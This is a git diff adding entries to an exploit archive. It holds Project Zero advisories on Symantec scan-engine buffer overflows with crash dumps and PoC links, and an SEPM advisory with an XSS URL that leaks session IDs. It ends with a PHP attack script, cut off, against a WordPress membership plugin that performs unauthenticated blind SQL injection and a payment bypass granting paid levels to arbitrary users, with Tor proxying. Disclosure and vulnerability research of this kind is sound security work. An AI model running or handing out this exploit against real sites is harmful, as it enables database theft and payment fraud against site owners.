diff --git a/files.csv b/files.csv index b95c5ac5d..b62935331 100755 --- a/files.csv +++ b/files.csv @@ -36204,3 +36204,16 @@ id,file,description,date,author,platform,type,port 40028,platforms/php/webapps/40028.txt,"Riverbed SteelCentral NetProfiler & NetExpress 10.8.7 - Multiple Vulnerabilities",2016-06-27,Security-Assessment.com,php,webapps,443 40029,platforms/lin_x86-64/shellcode/40029.c,"Linux x86_64 /etc/passwd File Sender Shellcode",2016-06-28,"Roziul Hasan Khan Shifat",lin_x86-64,shellcode,0 40030,platforms/json/webapps/40030.py,"Untangle NGFW 12.1.0 beta - execEvil() Command Injection",2016-06-28,"Matt Bush",json,webapps,80 +40031,platforms/multiple/dos/40031.txt,"Symantec Antivirus - Multiple Remote Memory Corruption Unpacking RAR",2016-06-29,"Google Security Research",multiple,dos,0 +40032,platforms/multiple/dos/40032.txt,"Symantec Antivirus - Remote Stack Buffer Overflow in dec2lha Library",2016-06-29,"Google Security Research",multiple,dos,0 +40034,platforms/multiple/dos/40034.txt,"Symantec Antivirus - Heap Overflow Modifying MIME Messages",2016-06-29,"Google Security Research",multiple,dos,0 +40035,platforms/multiple/dos/40035.txt,"Symantec Antivirus - Integer Overflow in TNEF Decoder",2016-06-29,"Google Security Research",multiple,dos,0 +40036,platforms/multiple/dos/40036.txt,"Symantec Antivirus - Missing Bounds Checks in dec2zip ALPkOldFormatDecompressor::UnShrink",2016-06-29,"Google Security Research",multiple,dos,0 +40037,platforms/multiple/dos/40037.txt,"Symantec Antivirus - PowerPoint Misaligned Stream-cache Remote Stack Buffer Overflow",2016-06-29,"Google Security Research",multiple,dos,0 +40039,platforms/win32/local/40039.cpp,"Windows 7 SP1 x86 - Privilege Escalation (MS16-014)",2016-06-29,blomster81,win32,local,0 +40040,platforms/windows/local/40040.txt,"Lenovo ThinkPad - System Management Mode Arbitrary Code Execution Exploit",2016-06-29,Cr4sh,windows,local,0 +40041,platforms/php/webapps/40041.txt,"Symantec Endpoint Protection Manager 12.1 - Multiple Vulnerabilities",2016-06-29,hyp3rlinx,php,webapps,8445 +40042,platforms/php/webapps/40042.php,"WordPress Ultimate Membership Pro Plugin 3.3 - SQL Injection",2016-06-29,wp0Day.com,php,webapps,80 +40043,platforms/windows/local/40043.py,"Cuckoo Sandbox Guest 2.0.1 - XMLRPC Privileged Remote Code Execution",2016-06-29,"Rémi ROCHER",windows,local,0 +40044,platforms/cgi/webapps/40044.html,"Ubiquiti Administration Portal - CSRF to Remote Command Execution",2016-06-29,KoreLogic,cgi,webapps,443 +40045,platforms/php/webapps/40045.txt,"Concrete5 5.7.3.1 - (Application::dispatch) Local File Inclusion",2016-06-29,"Egidio Romano",php,webapps,80 diff --git a/platforms/cgi/webapps/40044.html b/platforms/cgi/webapps/40044.html new file mode 100755 index 000000000..49ffa37be --- /dev/null +++ b/platforms/cgi/webapps/40044.html @@ -0,0 +1,482 @@ + + + +
+ + + + + + + \ No newline at end of file diff --git a/platforms/multiple/dos/40031.txt b/platforms/multiple/dos/40031.txt new file mode 100755 index 000000000..30a850937 --- /dev/null +++ b/platforms/multiple/dos/40031.txt @@ -0,0 +1,60 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=810 + +A major component of the Symantec Antivirus scan engine is the "Decomposer", responsible for unpacking various archive formats such as ZIP, RAR, and so on. The decomposer runs as NT AUTHORITY\SYSTEM on Windows, and root on Linux and Mac. It is self-evident from looking at the decomposer code that Symantec have based the RAR decompression on the open-source unrar package from RAR labs (Note: this is permitted by the unrar license). + +By comparing Symantec's code to the open source code, I have determined that Symantec are probably using version 4.1.4 of the unrar code, released in January 2012. The most current version is version 5.3.11. + +Between the version of unrar that Symantec runs as NT AUTHORITY\SYSTEM to unpack untrusted binaries received over the network and the the current version, literally hundreds of critical memory corruption bugs have been resolved. + +I have verified that multiple publicly known vulnerabilities affect Symantec, and can result in remote code execution as NT AUTHORTITY\SYSTEM on Windows and root on Linux and Mac. + +I have verified this on the following products: + + Norton Antivirus, Windows + Symantec Endpoint Protection, Linux and Windows + Symantec Scan Engine, Linux and Windows + +Presumably this affects all other Symantec products using the core Symantec scan engine. + +In my opinion, I'm being exceptionally generous considering this issue a new vulnerability and not public information. Frankly, it is astonishing that Symantec do not track new releases of third party code they use. I think you should take this opportunity to check all other third party code you're using to verify you haven't fallen behind. + +I've attached a trivial example that modifies an arbitrary index in the PlaceA[] array via Unpack::ShortLZ(). + + +(534.adc): Access violation - code c0000005 (!!! second chance !!!) +eax=14858d00 ebx=07da63e0 ecx=07da65ec edx=fb6e43a0 esi=07da6370 edi=daf72217 +eip=6d7b4016 esp=0da8d260 ebp=0da8d27c iopl=0 nv up ei ng nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286 +ccScanw!filelengthi64+0x470b6: +6d7b4016 8994be005d0000 mov dword ptr [esi+edi*4+5D00h],edx ds:002b:73b748cc=14858d00 +0:052> lm v mccScanw +start end module name +6d690000 6d8bf000 ccScanw (export symbols) C:\Program Files (x86)\Norton Security\Engine\22.6.0.142\ccScanw.dll + Loaded symbol image file: C:\Program Files (x86)\Norton Security\Engine\22.6.0.142\ccScanw.dll + Image path: C:\Program Files (x86)\Norton Security\Engine\22.6.0.142\ccScanw.dll + Image name: ccScanw.dll + Timestamp: Tue Jan 26 13:51:55 2016 (56A7EA7B) + CheckSum: 0022B3ED + ImageSize: 0022F000 + File version: 13.1.2.19 + Product version: 13.1.2.19 + File flags: 0 (Mask 3F) + File OS: 40004 NT Win32 + File type: 1.0 App + File date: 00000000.00000000 + Translations: 0409.04b0 + CompanyName: Symantec Corporation + ProductName: Symantec Security Technologies + InternalName: ccScan + OriginalFilename: CCSCAN.DLL + ProductVersion: 13.1.2.19 + FileVersion: 13.1.2.19 + FileDescription: Symantec Scan Engine + LegalCopyright: Copyright (c) 2015 Symantec Corporation. All rights reserved. + +These bugs are obviously exploitable for remote code execution on all Symantec customer machines as root or SYSTEM. + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40031.zip + diff --git a/platforms/multiple/dos/40032.txt b/platforms/multiple/dos/40032.txt new file mode 100755 index 000000000..b19149903 --- /dev/null +++ b/platforms/multiple/dos/40032.txt @@ -0,0 +1,41 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=814 + +The dec2lha library is the library responsible for decompressing LZH and LHA archives. The CSymLHA::get_header() routine has a trivial stack buffer overflow. + +.text:00023D91 31 C0 xor eax, eax +... +.text:00023DAE 8D 95 E4 FB FF+ lea edx, [ebp+var_41C] +.text:00023DB4 89 D7 mov edi, edx +.text:00023DC7 66 B9 00 01 mov cx, 100h +.text:00023DCB F3 AB rep stosd + +We can see from this initialization that var_141C is a 1024 byte stack buffer, because 0x100 * sizeof(dword) = 1024. But later on in this routine: + +.text:0002442C 88 0C 10 mov [eax+edx], cl ; eax = &var_41C edx=index +.text:0002442F 83 C2 01 add edx, 1 ; edx++ +... +.text:00024408 81 FA 00 10 00+ cmp edx, 1000h ; if (index > 4096) ... +.text:0002440E 0F 84 E9 02 00+ jz loc_246FD ; oob + +The index is checked to see if it's > 4096 bytes, this is incorrect. This is most likely a simple programmers error, bounds checking with the wrong size. + +This code is typically run with SYSTEM/root privileges, I'm using Symantec Scan Engine on Linux to reproduce this issue, but all platforms and products using this code (e.g. Symantec Mail Security) are likely affected. + +#0 0xf5606d95 in CSymLHA::get_header(SymLHA::_S_LzHeader*) () from libdec2lha.so +#1 0xf5607af4 in CSymLHA::GetEntry(SymLHA::_S_LzHeader*) () from libdec2lha.so +#2 0xf55e83d5 in CLHAEngine::ProcessChildren(IDecomposerEx*, IDecContainerObjectEx*, IDecEventSink*, unsigned short*, char*, CSymLHA*) () from libdec2lha.so +#3 0xf55e8a8f in CLHAEngine::Process(IDecomposerEx*, IDecContainerObjectEx*, IDecEventSink*, unsigned short*, char*, bool*, bool*) () from libdec2lha.so +#4 0xf5c137b5 in CDecomposer::DecProcess(IDecObject*, IDecEventSink*, IDecIOCB*, unsigned short*, char*) () +#5 0xf5c143cb in CDecomposer::Process(IDecObject*, IDecEventSink*, IDecIOCB*, unsigned short*, char*) () +(gdb) c +Program received signal SIGSEGV, Segmentation fault. +0x41414141 in ?? () + +Because Symantec do not use -fstack-protector on Linux, exploitation is remarkably trivial. Exploitation is likely still possible on Windows, but may be more difficult as they do use /GS on that platform. + +This issue is remotely exploitable just by receiving an email, visiting a website, and so on. + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40032.zip + diff --git a/platforms/multiple/dos/40034.txt b/platforms/multiple/dos/40034.txt new file mode 100755 index 000000000..bc11605c4 --- /dev/null +++ b/platforms/multiple/dos/40034.txt @@ -0,0 +1,28 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=818 + +Symantec attempts to clean or remove components from archives or other multipart containers that they detect as malicious. The code that they use to remove components from MIME encoded messages in CMIMEParser::UpdateHeader() assumes that filenames cannot be longer than 77 characters. + +This assumption is obviously incorrect, names can be any length, resulting in a very clean heap overflow. + +The heap overflow occurs because Symantec does the cleaning in multiple stages, first changing the Content-Type to "text/plain", then changing the filename to "DELETED.TXT". The problem is that during the first stage of this process, they maintain the existing name but use a buffer prepared for the final name. + +Something like: + +char *buf = malloc(strlen(NewContentType) + strlen(LengthOfNewEncodedFilename) + 100) + +// First change the content-type +strcpy(buf, "Content-Type: "); +strcpy(buf, NewContentType; +strcpy(buf, "; name=\""); +strcpy(buf, OldFileName); + +... +UpdateName(buf, NewFileName); +... + +This obviously won't work, because it doesn't verify that the old name will fit. I've attached an example MIME message that triggers this code in Symantec Scan Engine. + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40034.zip + diff --git a/platforms/multiple/dos/40035.txt b/platforms/multiple/dos/40035.txt new file mode 100755 index 000000000..e85a9dea7 --- /dev/null +++ b/platforms/multiple/dos/40035.txt @@ -0,0 +1,31 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=819 + +Simple fuzzing found an integer overflow in the dec2tnef library. This allocation from Attachment::setDataFromAttachment() doesn't verify that the attacker controlled value doesn't wrap: + +.text:000227B8 8D 42 01 lea eax, [edx+1] +.text:000227BB 89 85 68 FF FF+ mov [ebp+var_98], eax +.text:000227C1 8B 83 CC FF FF+ mov eax, ds:(_ZSt7nothrow_ptr - 42CFCh)[ebx] +.text:000227C7 89 44 24 04 mov [esp+4], eax +.text:000227CB 8B 85 68 FF FF+ mov eax, [ebp+var_98] +.text:000227D1 C1 E0 02 shl eax, 2 +.text:000227D4 89 04 24 mov [esp], eax +.text:000227D7 89 95 5C FF FF+ mov [ebp+src], edx +.text:000227DD 89 8D 58 FF FF+ mov [ebp+var_A8], ecx +.text:000227E3 E8 54 22 FE FF call __ZnajRKSt9nothrow_t ; operator new[](uint,std::nothrow_t const&) + +That's (count + 1) * 4, without any checking that will succeed. The attached testcase reaches this code on Symantec Scan Engine, I'm not sure which other products use this code. + +(gdb) bt +#1 0x07e88816 in Attachment::setDataFromAttachment(Item&) () from definitions/Decomposer/libdec2tnef.so +#2 0x07e88abc in Attachment::setAttribute(Item&) () from definitions/Decomposer/libdec2tnef.so +#3 0x07e8a1b4 in TNEFObject::getAttachments(_IO_FILE*, MList&) () from definitions/Decomposer/libdec2tnef.so +#4 0x07e6c1d6 in CTNEFArchive::Open(char const*) () from definitions/Decomposer/libdec2tnef.so +#5 0x07e6ae5f in CTNEFEngine::OpenArchive(CTNEFArchive*, bool*) () from definitions/Decomposer/libdec2tnef.so +#6 0x07e6b8c0 in CTNEFEngine::Process(IDecomposerEx*, IDecContainerObjectEx*, IDecEventSink*, unsigned short*, char*, bool*, bool*) () from definitions/Decomposer/libdec2tnef.so +#7 0x063d07b5 in CDecomposer::DecProcess(IDecObject*, IDecEventSink*, IDecIOCB*, unsigned short*, char*) () +#8 0x063d13cb in CDecomposer::Process(IDecObject*, IDecEventSink*, IDecIOCB*, unsigned short*, char*) () + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40035.zip + diff --git a/platforms/multiple/dos/40036.txt b/platforms/multiple/dos/40036.txt new file mode 100755 index 000000000..371ab8ea9 --- /dev/null +++ b/platforms/multiple/dos/40036.txt @@ -0,0 +1,56 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=821 + +A major component of the Symantec Antivirus scan engine is the "Decomposer", responsible for unpacking various archive formats such as ZIP, RAR, and so on. The decomposer runs as NT AUTHORITY\SYSTEM on Windows, and root on Linux and Mac. Simple fuzzing of zip archives discovered missing bounds checks in the routine ALPkOldFormatDecompressor::UnShrink, used to decode Zip archives. + +The routine uses a 16bit value read from the file to index a 256 element array without any bounds checking, the attached testcase should demonstrate this reliably. I have verified this on the following products: + + Norton Antivirus, Windows + Symantec Endpoint Protection, Linux and Windows + Symantec Scan Engine, Linux and Windows + + +(534.700): Access violation - code c0000005 (!!! second chance !!!) +eax=00003000 ebx=00003000 ecx=00003000 edx=00002000 esi=16adeb58 edi=16ad8b1b +eip=6ba47ec3 esp=16ad6af0 ebp=16adeb20 iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 +ccScanw!filelengthi64+0x3af63: +6ba47ec3 66399445fcbfffff cmp word ptr [ebp+eax*2-4004h],dx ss:002b:16ae0b1c=???? +0:071> ub +ccScanw!filelengthi64+0x3af3f: +6ba47e9f 8bb5ec7fffff mov esi,dword ptr [ebp-8014h] +6ba47ea5 8bc7 mov eax,edi +6ba47ea7 8985e07fffff mov dword ptr [ebp-8020h],eax +6ba47ead e96d010000 jmp ccScanw!filelengthi64+0x3b0bf (6ba4801f) +6ba47eb2 0fbfc3 movsx eax,bx +6ba47eb5 ba00200000 mov edx,2000h +6ba47eba 8dbdfb9fffff lea edi,[ebp-6005h] +6ba47ec0 0fb7cb movzx ecx,bx +0:071> lmv m ccScanw +start end module name +6b930000 6bb5f000 ccScanw (export symbols) C:\Program Files (x86)\Norton Security\Engine\22.6.0.142\ccScanw.dll + Loaded symbol image file: C:\Program Files (x86)\Norton Security\Engine\22.6.0.142\ccScanw.dll + Image path: C:\Program Files (x86)\Norton Security\Engine\22.6.0.142\ccScanw.dll + Image name: ccScanw.dll + Timestamp: Tue Jan 26 13:51:55 2016 (56A7EA7B) + CheckSum: 0022B3ED + ImageSize: 0022F000 + File version: 13.1.2.19 + Product version: 13.1.2.19 + File flags: 0 (Mask 3F) + File OS: 40004 NT Win32 + File type: 1.0 App + File date: 00000000.00000000 + Translations: 0409.04b0 + CompanyName: Symantec Corporation + ProductName: Symantec Security Technologies + InternalName: ccScan + OriginalFilename: CCSCAN.DLL + ProductVersion: 13.1.2.19 + FileVersion: 13.1.2.19 + FileDescription: Symantec Scan Engine + LegalCopyright: Copyright (c) 2015 Symantec Corporation. All rights reserved. + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40036.zip + diff --git a/platforms/multiple/dos/40037.txt b/platforms/multiple/dos/40037.txt new file mode 100755 index 000000000..52481f29f --- /dev/null +++ b/platforms/multiple/dos/40037.txt @@ -0,0 +1,85 @@ +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=823 + +A PowerPoint PPT file is a complicated OLE compound document comprising of a series of streams. The format is described by Microsoft in [MS-PPT]. + +https://msdn.microsoft.com/en-us/library/office/cc313106(v=office.12).aspx + +Symantec have implemented an I/O abstraction layer for seeking within the streams of a compound document, which they use to extract embedded objects like VBA macros and so on. Unfortunately, a bug in this I/O abstraction results in a critical security vulnerability. The bug occurs when a read request can be satisfied from the cache, but from a non-zero start offset. In this case, the request size is always rounded to (CACHE_SIZE - Offset), which may not be correct. + +For example, a read request that can be satisfied from the stream cache in these ways: + + ++-------------------------+ +| CACHE | ++-------------------------+ + +1. <---------> Non-zero offset, but entire cache needed. +2. <------> Zero offset, but not the entire cache. +3. <----------------------> Entire cache. +4. <----> Non-zero offset and not entire cache. + +All of these cases work fine except 4, where a buffer overflow occurs, because the request is rounded up to (CACHE_SIZE - Offset). It seems incredible that this bug wasn't found during testing or even on ITW documents just by chance. Nevertheless, by carefully constructing a powerpoint file with a series of records that massage the cache with a series of records, we can trigger a stack buffer overflow of attacker controlled data. + +The easiest way to do this is via PPFindRecSet in libdec2ss (this is part of ccScanw.dll on Windows). Early on when processing powerpoint documents Symantec attempt to find the last edit via RT_UserEditAtom, then extract a set of records for RT_List and RT_ExternalObjectList allowing us to massage the stream cache appropriately. + +Naturally, Symantec disable /GS on Windows and do not use -fstack-protector, making exploitation absolutely trivial. The attached document redirects execution to 0x41414141 reliably on Windows. + +0:065> g +(1074.a14): Access violation - code c0000005 (!!! second chance !!!) +eax=00000000 ebx=000025a0 ecx=00000200 edx=000025a0 esi=0396e358 edi=00002524 +eip=41414141 esp=056df558 ebp=00000000 iopl=0 nv up ei pl zr na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 +41414141 ?? ??? +0:065> lmv m ccScanW +start end module name +65820000 65a4f000 ccScanw (deferred) + Image path: C:\Program Files (x86)\Norton Security\Engine\22.6.0.142\ccScanw.dll + Image name: ccScanw.dll + Timestamp: Tue Jan 26 13:51:55 2016 (56A7EA7B) + CheckSum: 0022B3ED + ImageSize: 0022F000 + File version: 13.1.2.19 + Product version: 13.1.2.19 + File flags: 0 (Mask 3F) + File OS: 40004 NT Win32 + File type: 1.0 App + File date: 00000000.00000000 + Translations: 0409.04b0 + CompanyName: Symantec Corporation + ProductName: Symantec Security Technologies + InternalName: ccScan + OriginalFilename: CCSCAN.DLL + ProductVersion: 13.1.2.19 + FileVersion: 13.1.2.19 + FileDescription: Symantec Scan Engine + LegalCopyright: Copyright (c) 2015 Symantec Corporation. All rights reserved. + + +The fix is simply to round up requests to MIN(RequestSize, CACHE_SIZE). + +I verified this bug exists on the following products: + +* Norton Antivirus (All Platforms) +* Symantec Endpoint (All Platforms) +* Symantec Scan Engine (All Platforms) +* Symantec Email Security (All Platforms) + +And probably all other Symantec and Norton branded products. + + +NOTES: + +PPGetVBAEmbedListInfo() uses PPFindRecSet(), which is definitely the easiest way to exploit this. The prototype is something like: + +int PPFindRecSet(tagSS_STREAM *stream, + unsigned StartOffset, + unsigned EndOffset, + short count, + short *RequiredRecordTypes, + unsigned *RecordOffsets, + int *RecordLengths); + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40037.zip + diff --git a/platforms/php/webapps/40041.txt b/platforms/php/webapps/40041.txt new file mode 100755 index 000000000..848d17473 --- /dev/null +++ b/platforms/php/webapps/40041.txt @@ -0,0 +1,187 @@ +[+] Credits: John Page aka HYP3RLINX + +[+] Website: hyp3rlinx.altervista.org + +[+] Source: +http://hyp3rlinx.altervista.org/advisories/SYMANTEC-SEPM-MULTIPLE-VULNS.txt + +[+] ISR: ApparitionSec + + +Vendor: +================ +www.symantec.com + + +Product: +=========== +SEPM +Symantec Endpoint Protection Manager and client v12.1 + +SEPM provides a centrally managed solution. It handles security policy +enforcement, host integrity checking (Symantec Network Access Control only), +and automated remediation over all clients. The policies functionality is +the heart of the Symantec software. Clients connect to the server to get the +latest policies, security settings, and software updates. + + +Vulnerability Type(s): +====================== +Multiple Cross Site Scripting (XSS) +Cross Site Request Forgeries (CSRF) +Open Redirect + + +CVE Reference(s): +================= +CVE-2016-3652 / XSS +CVE-2016-3653 / CSRF +CVE-2016-5304 / Open Redirect + + +Vulnerability Details: +===================== + +The management console for SEPM contains a number of security +vulnerabilities that could be used by a lower-privileged user or by +an unauthorized user to elevate privilege or gain access to unauthorized +information on the management server. Exploitation attempts of +these vulnerabilities requires access to the SEP Management console. + + +References: +============ +https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160628_01 + + +Exploit code(s): +=============== + +In this case XSS can bypass the "http-only" cookie protection because the +SEPM application writes and stores the session ID within various +javascript functions used by the application within the DOM thereby +exposing them directly to the XSS attack. + +1) createModalDialogFromURL +2) createWindowFromURL +3) createWindowFromForm +4) createIEWindowFromForm + +So all we need to do is alert(createModalDialogFromURL) anyone one of them +(functions) an it will leak the session ID essentially throwing the +HttpOnly secure cookie protection flag into the garbage. + +e.g. + +XSS POC Defeat http-only flag and access PHPSESSID: + +https://localhost:8445/Reporting/Admin/notificationpopup.php?New=1&Type=CR&height=alert%28createModalDialogFromURL%29# + + + +Open Redirect in external URL .php script: +========================================= + +A reporting URL used to route generated reports externally to any +authorized URL is susceptible to an open redirect vulnerability +that could have allowed an authorized but less-privileged user to redirect +an unsuspecting privileged user to an external URL to +attempt further exploitation, e.g. phishing. + + +If a victim clicks on a link supplied by an attacker + +e.g. + +https://localhost:8445/Reporting/common/externalurl.php?url=http://hyp3rlinx.altervista.org + + + +Cross Site Request Forgery (CSRF): +================================== + +Multiple Cross Site Request Forgery exists in couple of places within this +version of SEPM below is an example of sending scheduled report to +an remote attackers email, if current logged in user visits malicious +webpage or clicks infected link etc... + + +Symantec Reporting Admin CSRF POC: + + + + + + + + + + + + + + + + + + + + + + + + + + +Disclosure Timeline: +============================================ +Vendor Notification: Febuary 11, 2016 +Vendor Acknowledges Report: Febuary 12, 2016 +Vendor Releases Fix: June 28, 2016 +June 29, 2016 : Public Disclosure + + +Exploitation Technique: +======================= +Remote + + +Severity Level(s): +==================== +Cross Site Scripting +Medium +v2 6.8 +AV:A/AC:M/Au:S/C:C/I:C/A:N +v3 6.7 +AV:A/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N + +Cross Site Request Forgery +High +v2 7.0 +AV:A/AC:M/Au:M/C:C/I:C/A:C +v3 7.1 +AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H + +Open Redirect +Medium +v2 4.1 +AV:A/AC:L/Au:S/C:P/I:P/A:N +v3 4.1 +AV:A/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N + + +[+] Disclaimer +The information contained within this advisory is supplied "as-is" with no +warranties or guarantees of fitness of use or otherwise. +Permission is hereby granted for the redistribution of this advisory, +provided that it is not altered except by reformatting it, and +that due credit is given. Permission is explicitly given for insertion in +vulnerability databases and similar, provided that due credit +is given to the author. The author is not responsible for any misuse of the +information contained herein and accepts no responsibility +for any damage caused by the use or misuse of this information. The author +prohibits any malicious use of security related information +or exploits by the author or elsewhere. + +hyp3rlinx diff --git a/platforms/php/webapps/40042.php b/platforms/php/webapps/40042.php new file mode 100755 index 000000000..742f45d5d --- /dev/null +++ b/platforms/php/webapps/40042.php @@ -0,0 +1,173 @@ + + * Vendor Homepage: http://wpindeed.com/ + * Software Link: http://codecanyon.net/item/ultimate-membership-pro-wordpress-plugin/12159253 + * Version: 3.3 + * Tested on: Debian 8, PHP 5.6.17-3 + * Type: Unauthenticated Blind SQLi, Unauthenticated Payment Bypass + * Time line: Found [07-Jun-2016], Vendor notified [08-Jun-2016], Vendor fixed: [Yes], [RD:1466846149] + */ + + +require_once('curl.php'); +//OR +//include('https://raw.githubusercontent.com/svyatov/CurlWrapper/master/CurlWrapper.php'); +$curl = new CurlWrapper(); + + +$options = getopt("t:m:l:e:s:",array('tor:')); +print_r($options); +$options = validateInput($options); + +if (!$options){ + showHelp(); +} + +if ($options['tor'] === true) +{ + echo " ### USING TOR ###\n"; + echo "Setting TOR Proxy...\n"; + $curl->addOption(CURLOPT_PROXY,"http://127.0.0.1:9150/"); + $curl->addOption(CURLOPT_PROXYTYPE,7); + echo "Checking IPv4 Address\n"; + $curl->get('https://dynamicdns.park-your-domain.com/getip'); + echo "Got IP : ".$curl->getResponse()."\n"; + echo "Are you sure you want to do this?\nType 'wololo' to continue: "; + $answer = fgets(fopen ("php://stdin","r")); + if(trim($answer) != 'wololo'){ + die("Aborting!\n"); + } + echo "OK...\n"; +} + +function isTrue($sql){ + global $curl, $options; + $levels = "') union all select (SELECT CASE WHEN ($sql) then 1 else 1*(select table_name from information_schema.tables) end)#"; + $data = array( + 'action'=>'ihc_preview_user_listing', + 'shortcode'=>'[ihc-list-users filter_by_level="1" levels_in="'.$levels.'" theme="ihc-theme_1" ]' + ); + $curl->post($options['t'].'/wp-admin/admin-ajax.php', $data); + $resp = $curl->getResponse(); + return preg_match('~ihc_public_list_users_(\d+)~',$resp); +} + +function exploit(){ + global $curl, $options; + + if ($options['m'] == 'pay'){ + $level = $options['l']; + for($i=$options['s']; $i<$options['e']; $i++){ + //This is mental, no IP or Hash check! + echo "Paying Level $level to UserID: $i\n"; + $data = array('x_MD5_Hash'=>'1', 'x_response_code'=>'1', 'x_cust_id'=>$i, 'x_po_num'=>$level); + $curl->post($options['t'].'wp-content/plugins/indeed-membership-pro/authorize_response.php', $data); + //echo $curl->getResponse(); + } + } + if ($options['m'] == 'sql'){ + $query = $options['s']; + echo "'Running' SQL Query: $query\n"; + echo "Getting Length"; + $max_length = 100; + //Well, it is messed up, can use , (comma) in the query + //Binary search or divide et impera is possible with the BETWEEN operator + //Code it yourself :) + $len = 0; + for ($i=1;$i<$max_length;$i++){ + $sql_len = "(select char_length( ($query) ) = $i )"; + if (isTrue($sql_len)){ + echo "\nLength found: $i\n"; + $len = $i; + break; + } else { + echo "."; + } + } + if ($len !== 0 ){ + echo "Reading char by char\nResponse:\n"; + } else { + die("Failed getting length!\nAboring.\n\n"); + } + $charset = 'etaoinsrhdluc@*1234567890.mfywgpbvkxqjzETAOINSRHDLUCMFYWGPBVKXQJZ'; + for ($i=1;$i<$len;$i++){ + $got = false; + for ($j=0;$j